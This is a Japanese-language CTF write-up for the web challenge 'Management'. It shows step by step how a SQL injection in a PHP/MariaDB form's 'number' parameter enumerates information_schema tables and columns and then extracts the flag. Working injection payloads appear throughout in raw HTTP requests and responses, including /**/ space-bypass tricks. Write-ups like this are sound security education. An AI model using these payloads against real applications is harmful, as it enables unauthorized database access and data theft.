Tags: web sqli
Rating:
# ▼▼▼Management(Web:60)、51/484=10.5%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```
I've created a new website so you can do all your important management. It includes users, creating things, reading things, and... well, not much else. Maybe there's a flag?
Second instance running at 52.90.229.46:8558
tpctf{san1t1z3_y0ur_1npu7s} is not the correct flag. Look harder ;)
Note: the flag format is flag{}, not the usual tpctf{}
Author: Kevin Higgs
Hint
・Those names seem interesting...
・hint.png
mariaDB[sqli]> SELECT * from users;
+-------------+---+---+---+---+---+---+---+---+---+
| name | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
+-------------+---+---+---+---+---+---+---+---+---+
|custom-kevin | | | | | | | | | |
```
-----
### 【機能を把握する】
・ログイン機能
・1~9の数字を選択して、Createしてデータベースに書き込む機能
・1~9の数字を選択して、Readでデータベースから読み込む機能
-----
まずは`1`に`testtest1`とデータを登録してみる。
↓
```
POST / HTTP/1.1
Host: 52.90.229.46:8558
Content-Type: application/x-www-form-urlencoded
Cookie: user=test
Content-Length: 38
number=1&value=testtest1&action=Create
```
↓
```
HTTP/1.1 200 OK
Host: 52.90.229.46:8558
Connection: close
X-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1
Content-type: text/html; charset=UTF-8
<h1>Welcome to manager!</h1>Hello, test!
Please select your number:
<form method='post'><select name='number'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option>
<option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option></select>
Value (if creating): <input type='text' name='value'></input>
<input type='submit' value='Read' name='action'></input><input type='submit' value='Create' name='action'></input>
```
-----
次に、`1`からデータを読み込んでみる
↓
```
POST / HTTP/1.1
Host: 52.90.229.46:8558
Content-Type: application/x-www-form-urlencoded
Cookie: user=test
Content-Length: 31
number=1&value=test&action=Read
```
↓
```
HTTP/1.1 200 OK
Host: 52.90.229.46:8558
Connection: close
X-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1
Content-type: text/html; charset=UTF-8
SELECT `1` FROM users WHERE name = 'custom-test';Result: testtest1<h1>Welcome to manager!</h1>Hello, test!
Please select your number:
<form method='post'><select name='number'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option>
<option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option></select>
Value (if creating): <input type='text' name='value'></input>
<input type='submit' value='Read' name='action'></input><input type='submit' value='Create' name='action'></input>
```
↓
下記のようなSQL文が表示されて、`testtest1`が取得できた。
```
SELECT `1` FROM users WHERE name = 'custom-test';Result: testtest1
```
↓
`Cookie: user`と`number`がSQL文に挿入されるようだ
-----
### 【脆弱性を探す】
`Cookie: user`はシングルクウォートがエスケープ処理されていた。
`number`はインジェクションできるようだ。
-----
### 【データを取得する】
Hintに`MariaDB`との記載がある。
↓
`users`以外のテーブル名を取得しに行く
↓
```
POST / HTTP/1.1
Host: 52.90.229.46:8558
Content-Type: application/x-www-form-urlencoded
Cookie: user=test
Content-Length: 111
number=table_name`+from+information_schema.tables+where+table_schema=database()+limit+0,1--+&value=&action=Read
```
↓
```
HTTP/1.1 200 OK
Host: 52.90.229.46:8558
Connection: close
X-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1
Content-type: text/html; charset=UTF-8
SELECT `table_name` from information_schema.tables where table_schema=database() limit 0,1-- ` FROM users WHERE name = 'custom-test';Result: users<h1>Welcome to manager!</h1>Hello, test!
Please select your number:
<form method='post'><select name='number'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option>
<option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option></select>
Value (if creating): <input type='text' name='value'></input>
<input type='submit' value='Read' name='action'></input><input type='submit' value='Create' name='action'></input>
```
↓
`limit 0,1` ⇒ `Result: users`
`limit 1,1` ⇒ `Result:`
↓
`users`テーブルのみであることがわかった
---
`name`,`1`~`9`以外のカラム名を取得しに行く
↓
```
POST / HTTP/1.1
Host: 52.90.229.46:8558
Content-Type: application/x-www-form-urlencoded
Cookie: user=test
Content-Length: 122
number=column_name`from/**/information_schema.columns/**/where/**/table_name='users'/**/limit/**/0,1--+&value=&action=Read
```
↓
```
HTTP/1.1 200 OK
Host: 52.90.229.46:8558
Connection: close
X-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1
Content-type: text/html; charset=UTF-8
SELECT `column_name`from/**/information_schema.columns/**/where/**/table_name='users'/**/limit/**/0,1-- ` FROM users WHERE name = 'custom-test';Result: name<h1>Welcome to manager!</h1>Hello, test!
Please select your number:
<form method='post'><select name='number'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option>
<option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option></select>
Value (if creating): <input type='text' name='value'></input>
<input type='submit' value='Read' name='action'></input><input type='submit' value='Create' name='action'></input>
```
↓
```
SELECT `column_name`from/**/information_schema.columns/**/where/**/table_name='users'/**/limit/**/0,1-- ` FROM users WHERE name = 'custom-test';Result: name
```
limit句を1つずつ増やしてカラム名を全て取得していく。
`/limit/**/0,1` ⇒ `Result: name`
`/limit/**/1,1` ⇒ `Result: 1`
`/limit/**/2,1` ⇒ `Result: 2`
`/limit/**/3,1` ⇒ `Result: 3`
`/limit/**/4,1` ⇒ `Result: 4`
`/limit/**/5,1` ⇒ `Result: 5`
`/limit/**/6,1` ⇒ `Result: 6`
`/limit/**/7,1` ⇒ `Result: 7`
`/limit/**/8,1` ⇒ `Result: 8`
`/limit/**/9,1` ⇒ `Result: 9`
`/limit/**/10,1` ⇒ `Result:`
↓
結局、カラムは`name`,`1`~`9`のみであった。
---
次に、`name`カラムの値を取得しに行く ※Hintを見ていれば、ここからできる
↓
```
POST / HTTP/1.1
Host: 52.90.229.46:8558
Content-Type: application/x-www-form-urlencoded
Cookie: user=test
Content-Length: 63
number=name`from/**/users/**/limit/**/0,1--+&value=&action=Read
```
↓
```
HTTP/1.1 200 OK
Host: 52.90.229.46:8558
Connection: close
X-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1
Content-type: text/html; charset=UTF-8
SELECT `name`from/**/users/**/limit/**/0,1-- ` FROM users WHERE name = 'custom-test';Result: custom-Hi<h1>Welcome to manager!</h1>Hello, test!
Please select your number:
<form method='post'><select name='number'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option>
<option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option></select>
Value (if creating): <input type='text' name='value'></input>
<input type='submit' value='Read' name='action'></input><input type='submit' value='Create' name='action'></input>
```
↓
`/limit/**/0,1--+` ⇒ `Result: custom-Hi`
`/limit/**/1,1--+` ⇒ `Result: flag{aLW4ys_ESC4PE_3v3rYTH1NG!!!!!}`
↓
`flag{aLW4ys_ESC4PE_3v3rYTH1NG!!!!!}`